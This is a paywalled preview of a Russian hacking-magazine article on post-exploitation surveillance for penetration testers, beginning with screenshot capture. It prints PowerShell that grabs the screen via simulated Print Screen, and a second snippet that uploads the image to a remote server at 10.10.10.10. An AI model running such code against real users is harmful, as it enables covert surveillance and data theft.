Содержание статьи
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Большая часть того, что мы реализуем в этой статье, есть только в Metasploit и в Cobalt Strike. Первый написан на Ruby, а исходники второго закрыты. Других реализаций я с ходу и не назову, а ведь хочется иметь короткие и аккуратные примеры кода, которые можно без проблем добавить в собственную программу.
Впрочем, у меня получилось самостоятельно все реализовать на C#, а некоторые программы — на C++ и PowerShell.
Скриншот рабочего стола
Первоочередная задача — скриншоты. Нужно увидеть, что открыто у текущего пользователя, в каких программах он работает и чем сейчас занимается.
Казалось бы, такая тривиальная задача дается в восьмом классе в качестве летней домашки на паскале, но не тут‑то было. Авторы множества реализаций забывают об одной интересной детали. Догадался, о какой?
Пока думаешь, покажу тебе пример кода на PowerShell. Даже с его помощью можно сделать скриншот текущего рабочего стола.
# Отправляем нажатие клавиши Print Screen, которое сделает скриншот всех экранов[Windows.Forms.SendKeys]::SendWait("{PRTSC}")# Даем системе время, чтобы обработать нажатие клавиши и получить изображение в буфер обменаStart-Sleep -Milliseconds 250# Получаем изображение из буфера обмена$img = [Windows.Forms.Clipboard]::GetImage()# Сохраняем изображение в файл$filePath = "C:\1.png"$img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png)# Выводим информацию о местоположении сохраненного файлаWrite-Host "Скриншот сохранён в файле: $filePath"
Скрипт работает предельно просто — имитирует нажатие кнопки Print Screen.
В интернете можно даже встретить вариант с автоматической отправкой картинки на веб‑сервер.
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")Start-Sleep -Milliseconds 250$x = New-Object System.IO.MemoryStream[Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.Imaging.ImageFormat]::Png)Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" -Method POST -Body ([Convert]::ToBase64String($x.ToArray()))
Ну как, догадался, что не учел автор? У пользователя может быть несколько мониторов! Например, как у меня.
Что, если хитрый сисадмин утащил к себе несколько мониторов и пользуется ими в свое удовольствие? Мы из‑за этого рискуем упустить важную информацию из виду!
Это накладывает некоторые ограничения на выбор наших инструментов. Если просто слать нажатие Print Screen через Windows.
, то получаем изображение с текущего монитора, что нас не устраивает.
Получить картинку со всех экранов можно, если обратиться к свойству AllScreens. Оно лежит в System.
. На выходе я хочу получить один большой скриншот, содержащий изображения со всех мониторов, поэтому не обойтись без System.
.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»